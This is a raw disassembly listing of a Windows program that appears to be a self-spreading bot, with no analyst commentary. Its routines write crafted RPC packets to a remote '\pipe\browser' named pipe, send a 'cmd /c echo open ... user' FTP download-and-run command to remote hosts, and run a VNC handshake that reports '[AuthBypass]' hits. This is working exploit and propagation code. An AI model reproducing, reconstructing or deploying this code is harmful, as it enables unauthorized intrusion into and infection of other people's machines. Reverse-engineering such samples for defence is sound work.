		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al


loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db 0B8h	; 
		db 0DCh	; 
		db  60h	; `
		db    0
		db    0
		db 0E8h	; 
		db  78h	; x
		db 0E1h	; 
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0BCh	; 
		db 0D4h	; 
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db 0A8h	; 
		db 0F7h	; 
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; 
		db  85h	; 
		db 0C0h	; 
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  44h	; D
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db 0A6h	; 
		db 0DFh	; 
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; 
		db 0A7h	; 
		db 0DBh	; 
		db    0
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  89h	; 
		db  85h	; 
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; 
		db  28h	; (
		db 0D1h	; 
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; 
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 26F0867h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57


loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------


loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_43221C
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432208
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_40DB34


loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 265092Ah
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26F0000h
		nop
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321B0[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDC9C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------


loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4321FF+1)


loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321A4[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321AC[esi]
		push	7
		add	eax, edi
		push	offset dword_432198
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432038
		push	eax
		call	sub_41C310
		mov	eax, dword_4321A8[esi]
		add	esp, 30h
		cmp	byte_4321B0[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDC94
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321C8
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------


loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321C8


loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8


loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		call	near ptr 265092Ah
		nop
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77


loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax


loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 26E0952h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_40DE4F
		nop
		call	near ptr 2680000h
		cmp	eax, 3E5h
		jnz	loc_40DA50


loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		call	near ptr 268065Ah
		nop
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1


loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------


loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]


loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db  81h	; 
		db 0ECh	; 
		db 0A0h	; 
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; 
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db 0D6h	; 
		db 0D6h	; 
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; 
		db  45h	; E
		db 0F0h	; 
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; 
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; 
		db 0C4h	; 
		db    0
		db    0
		db    0
		db  89h	; 
		db  45h	; E
		db 0F4h	; 
		db  90h	; 
		db 0E8h	; 
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; 
		db  45h	; E
		db 0F2h	; 
		db  90h	; 
		db 0E8h	; 
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; 
		db 0D8h	; 
		db  83h	; 
		db 0FBh	; 
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; 
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; 
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; 
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db 0B8h	; 
		db    8
		db  91h	; 
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0B0h	; 
		db 0ACh	; 
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db 0DFh	; 
		db 0CCh	; 
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  50h	; P
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; 
		db  38h	; 8
		db 0DAh	; 
		db    0
		db    0
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; 
		db  87h	; 
		db 0D0h	; 
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; 
		db  8Bh	; 
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; 
		db 0EBh	; 
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db  53h	; S
		db  90h	; 
		db 0E8h	; 
		db 0E7h	; 
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; 
		db 0C3h	; 
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 0E8000007h, 22625DFh, 0FB834390h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACB0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4


loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------


loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_43140Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFB4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322C4
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146


loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		call	near ptr 71AB1A6Dh
		nop


loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]


loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax


loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------


loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------


loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax


loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC


loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5


loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax


loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433508
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAF74
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx


loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB00C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------


loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467


loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE2C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch


loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
